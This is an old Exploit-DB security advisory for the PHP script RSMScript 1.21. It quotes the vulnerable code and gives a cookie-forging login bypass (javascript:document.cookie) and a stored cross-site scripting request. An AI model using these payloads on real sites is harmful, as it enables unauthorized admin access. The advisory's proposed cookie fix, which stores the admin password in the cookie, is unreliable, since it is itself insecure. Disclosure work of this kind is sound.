Exploit RSMScript 1.21 - Cross-Site Scripting / Insecure Cookie Handling

[Exploiter]

EDB-ID

7497

Проверка EDB

1. Пройдено

Автор

OSIRYS

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-6743

Дата публикации

2008-12-17

[START]

#########################################################################################
[0x01] Informations:

Script         : RSMScript 1.21
Download       : http://www.hotscripts.com/jump.php?listing_id=78547&jump_type=1
Vulnerability  : Insecure Cookie Handling / XXS
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX

#########################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/verify.php

[CODE]

if($admin_pass == $code)
{
  setcookie("verified", "null", time()+1800);
  header( 'refresh: 0; url=update.php' );
}

As we can see, if the password "$code" typed is the same of $admin_pass, so you log in,
cookie is set with the name "verified" and with content "null". So, a malicious user
can just set up a cookie with that name and value, and then he will be logged as the
admin.

[!] FIX: A fix could be to put as a content or cookie name the password. Example:

 setcookie("verified", "$admin_pass", time()+1800);

[!] EXPLOIT: javascript:document.cookie = "verified=null; path=/";

#########################################################################################
[0x03] Bug: [XSS]
######

To exploit this bug, we must be logged in. Just bypass the login with the Cookie
There are two bugged file.

1) /[path/submit.php
In this file, we can put arbitrary data into a .txt file.

    $quote = $_REQUEST['quote'];
    $writePage = fopen('quotes.txt', 'a') or die("can't open file");
	fwrite($writePage, "\t");
    fwrite($writePage, stripslashes($quote));
    fclose($writePage);

[!] FIX: Just filter direct user input.


2) /path/update.php
This file gets quotes.txt content, and print it directly into html code.
In 1) we saw that we can put arbitrary data into this .txt file. Just
Put js code

    $quotes = file_get_contents("quotes.txt");
    $quotes= preg_split("/[\t]+/", $quotes);
    $i = 0;
    $noQuotes = sizeOf($quotes);
    while ($i < $noQuotes)
    {
        $quote = $quotes[$i];
        echo '<option value='.$i.'>'.$quote.'</option>';
        $i = $i + 1;
    }

[!] FIX: A fix could be just to filter input before being printed in html code.


## How to exploit this bugs?

[!] EXPLOIT: /[path]/submit.php?quote=<script>alert("XSS")</script>

#########################################################################################
[/END]

# milw0rm.com [2008-12-17][/CODE]